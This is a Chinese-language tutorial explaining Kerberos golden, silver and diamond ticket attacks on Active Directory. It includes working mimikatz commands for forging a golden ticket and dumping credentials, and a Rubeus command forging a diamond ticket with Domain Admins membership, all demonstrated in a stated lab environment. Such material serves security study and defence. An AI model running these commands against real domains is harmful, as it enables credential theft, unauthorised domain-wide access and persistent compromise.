前置知识
Kerberos是一种计算机的认证协议,在域中,依旧使用kerberos作为认证手段。他提供了一种单点登录(SSO)的方法,比如打印服务器、邮件服务器和文件服务器。这些服务器都有认证的需求,很自然的,不可能让每个服务器自己实现一套认证系统,而是提供一个中心认证服务器(AS-Authentication Server)供这些服务器使用,这样任何客户端就只需要维护一个密码就能登录所有服务器。
角色:
客户端(Client)、身份认证服务(AS)、票据授予服务(TGS)、普通服务器(Server)
金银票据攻击
黄金票据、白银票据攻击是基于kerberos认证协议的攻击方式,常用来做后渗透域控权限维持。由于用户正常访问资源是也会请求服务票证,因此黄金、白银票据攻击具备很高的隐蔽性。前提是攻击者已经获得了域管理员或其他高权限账户的访问权,他们可以利用这些权限来访问krbtgt
账户的密码哈希值或者(NTLM的hash)。
在kerberos认证中,主要解决两个问题
第一个问题:如何证明你本人是XXX用户的问题。(身份问题,黄金票据所在的问题,AS负责)
第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的服务时,Server如何判断Client是否有权限来访问自己主机上的服务。(白银票据所在的问题,TGS负责)
Kerberos协议认证流程
Kerberos协议的基本流程是Client先通过AS(身份认证服务)进行身份认证,认证通过后AS会给Client一个TGT(票据授权票),Client将获取到的TGT发送到TGS(票据授予服务)进行身份验证,验证通过后TGS会给Client一个ST(服务票据),Client通过这个ST去访问指定Server上的服务。
伪造黄金票据
在kerberos认证中,Client通过AS认证后,AS会给Client一个TGT,而TGT是通过域控服务器上krbtgt账户的Hash进行加密的,所以只有得到krbtgt的Hash,就可以伪造TGT来进入下一步Client与TGS的交互。而在有了黄金票据后,就跳过AS验证,不用验证账户和密码,所以也不担心域管来修改密码。意思就是,当攻击者能够获得krbtgt的Hash后,攻击者就可以伪造一张票据授权票,去伪造成域内的任意用户访问域内kerberos认证的所有服务。
下面是黄金票据演示(虚拟机实验环境演示,切勿带入实战):
环境:
域控windows server 2012 ip:192.168.4.136
域内主机 win7 (伪造方)ip:192.168.4.138
域 feng.com
下面是域控上操作
权限维持krbtgt权限
以管理员运行mimikatz
下面是win7操作
正常运行mimikatz
kerberos::golden
/user:administrator
/domain:feng.com
/sid:S-1-5-21-2149019885-2061172686-904760113 /krbtgt:d0bea82cce69a2090f7309c418df2df2
/ptt
dir \\WIN-T09MBKM9HIT.feng.com\c$
拿到票据能读c盘,然后用psexec直接连
pass the ticket
(PTT)当攻击者成功获取到一个有效的Kerberos票据后,他们可以使用Mimikatz的PTT功能来将这个票据放入到他们当前会话的票据缓存中。这样,攻击者就可以使用这个票据来进行身份验证,就像他们是票据的合法所有者一样。这使得攻击者能够在不需要知道用户明文密码的情况下,访问那些需要身份验证的资源和服务。
伪造白银票据
黄金票据攻击是伪造TGT,白银票据攻击是伪造ST,在kerberos认证协议的第三步,Client带着ST向Server上的某个服务进行请求,Server接收Client的请求,验证通过后允许Client使用Server上的指定服务。所以只要有了服务器管理员账户的Hash,就能跳过向TGS请求ST的过程,可以直接伪造ST使用Server上的服务。
利⽤mimikatz抓取win2012的NTLM哈希以及域的SID
privilege::debug
sekurlsa::logonpasswords
黄金票据和白银票据的区别
1.访问权限不同
黄金票据:伪造票据授权票(TGT),可以获取任何kerberos服务权限。(伪造TGT)
白银票据:伪造服务票据,只能访问指定的服务。(伪造ST)
2.加密方式不同
黄金票据:由krbtgt的NTLM Hash加密。
白银票据:由服务账号(通胀为计算机账户)的NTLM Hash加密。
3.认证流程不同
黄金票据:利用过程需要访问域控。
白银票据:不需要访问域控。
钻石票据(diamondticket)
原理
黄金票据和钻石票据都需要Krbgtg密钥。黄金票据攻击利用了从头开始伪造TGT,而钻石票据攻击利用了对域控制器请求的真实TGT进行解密和重新加密的能力。
准备
1、域krbtgt的hash
2、当前域用户的账号密码
3、域名
4、域控的名称
假设已经获得了krbtgt
krbtgt: 5d441cb67b5b173667668c2c6f658a23d58320922290f7b05af44458debdeb37
使用域用户用户名密码创建一个钻石TGT
Rubeus.exediamond/krbkey:5d441cb67b5b173667668c2c6f658a23d58320922290f7b05af44458debdeb37/user:win7 /password:admin@7 /enctype:aes /domain:nami.com/dc:WIN-A7DM9L6CVHH.nami.com /ticketuser:thor /ticketuserid:1104/groups:512